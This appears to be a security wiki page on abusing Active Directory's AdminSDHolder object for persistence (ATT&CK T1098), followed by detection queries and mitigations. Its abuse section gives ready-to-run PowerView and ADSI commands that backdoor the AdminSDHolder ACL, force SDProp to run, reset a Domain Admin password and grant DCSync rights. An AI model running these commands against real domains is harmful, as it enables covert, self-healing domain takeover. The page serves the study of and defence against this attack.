AdminSDHolder Abuse

ATT&CK: T1098 — Account Manipulation

AdminSDHolder is an Active Directory mechanism designed to protect highly privileged accounts by periodically overwriting their ACLs with a template. Attackers abuse it as a persistence mechanism: by backdooring the AdminSDHolder template, any ACE added there will propagate to all protected groups and their members within 60 minutes — even if defenders remove it from the actual account.

---

What AdminSDHolder Is

AD has a special object at:

CN=AdminSDHolder,CN=System,DC=domain,DC=com

Every 60 minutes (configurable), the SDProp (Security Descriptor Propagator) process on the PDC Emulator:

1. Reads the ACL of the AdminSDHolder object
2. Overwrites the ACL of all protected objects with a copy of AdminSDHolder's ACL

This ensures that even if an admin accidentally grants dangerous access to a Domain Admin account, it gets reset.

---

Protected Groups (SDProp Targets)

Any member of these groups (directly or nested) gets the AdminSDHolder ACL applied, and their adminCount attribute is set to 1:

Group
Administrators
Domain Admins
Enterprise Admins
Schema Admins
Account Operators
Backup Operators
Print Operators
Server Operators
Replicator
Domain Controllers
Read-Only Domain Controllers
Group Policy Creator Owners

---

Abuse: Backdoor Propagation

Step 1: Add Backdoor ACE to AdminSDHolder

If an attacker has Domain Admin or WriteDacl on AdminSDHolder:

# PowerView - add generic all rights for a controlled account to AdminSDHolder
Add-DomainObjectACL -TargetIdentity "CN=AdminSDHolder,CN=System,DC=domain,DC=com" -PrincipalIdentity attackeruser -Rights All -Verbose

# More targeted: give DCSync rights
Add-DomainObjectACL -TargetIdentity "CN=AdminSDHolder,CN=System,DC=domain,DC=com" -PrincipalIdentity attackeruser -Rights DCSync

# Manual via ADSI
$ADSI = [ADSI]"LDAP://CN=AdminSDHolder,CN=System,DC=domain,DC=com"
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    [Security.Principal.IdentityReference]"domain\attackeruser",
    [DirectoryServices.ActiveDirectoryRights]"GenericAll",
    [AccessControlType]"Allow"
)
$ADSI.ObjectSecurity.AddAccessRule($ace)
$ADSI.CommitChanges()

Step 2: Wait for SDProp (up to 60 min) or Force It

# Force SDProp to run immediately via ldp.exe or:
# Run SDProp via LDP: Operations → Run Control → "fixupinheritance" on rootDSE
# Or via PowerShell:
Invoke-Command -ComputerName DC01 -ScriptBlock {
    $root = [ADSI]"LDAP://RootDSE"
    $root.runProtectAdminGroupsTask = 1
    $root.SetInfo()
}

Step 3: Leverage the Propagated ACE

After SDProp runs, attackeruser has GenericAll on all DA accounts, Domain Admins group, etc.:

# Reset a DA password
Set-DomainUserPassword -Identity "domain_admin_user" -AccountPassword (ConvertTo-SecureString "NewP@ss!" -AsPlainText -Force)

# Or grant DCSync rights to attackeruser via the propagated ACL
Add-DomainObjectACL -TargetIdentity DC=domain,DC=com -PrincipalIdentity attackeruser -Rights DCSync

---

Why This Is Difficult to Detect and Remove

The persistence is self-healing:

• Defender removes attackeruser's ACE from Domain Admins group object
• SDProp runs → ACE is re-applied from AdminSDHolder template
• The backdoor persists as long as the AdminSDHolder ACE exists

Responders must find and remove the ACE from AdminSDHolder itself — not just from the affected objects.

---

Detection

Event IDs

Event	Source	Relevance
5136	Security	DS object attribute modified — watch for modifications to AdminSDHolder ACL
4662	Security	Object accessed with write intent
4728/4732/4756	Security	Member added to protected group

KQL Detection

// Detect ACL changes on AdminSDHolder
SecurityEvent
| where EventID == 5136
| where ObjectDN contains "AdminSDHolder"
| project TimeGenerated, SubjectUserName, ObjectDN, OperationType, AttributeValue
| order by TimeGenerated desc

Indicator: adminCount Attribute

# Find accounts with adminCount=1 that should not be protected
Get-ADUser -Filter {adminCount -eq 1} -Properties adminCount,MemberOf | 
    Where-Object { $_.MemberOf -eq $null }
# Orphaned adminCount accounts — ex-DA whose access was removed but adminCount remains
# These accounts no longer get SDProp applied but still have adminCount set
# This means their ACLs were set to the AdminSDHolder template and are now "frozen"

---

Orphaned adminCount Accounts

A secondary risk: accounts that were once members of protected groups (and got adminCount=1) but were later removed from those groups. SDProp stops applying to them, but their ACLs remain in the "locked down" AdminSDHolder template state. More importantly, they may retain other privileges.

---

Mitigation

Control	Effect
Monitor AdminSDHolder ACL changes	Alert on any modification to CN=AdminSDHolder,CN=System,...
Restrict WriteDACL on AdminSDHolder	Only Domain Admins and Enterprise Admins should modify it
Regular audit of AdminSDHolder ACL	Compare against baseline; remove unexpected ACEs
Tiered administration	Reduce who can reach AdminSDHolder

---

Cross-Links

Topic	Link
ACL Abuse	acl-abuse
DCSync	dcsync
Active Directory Overview	ad-overview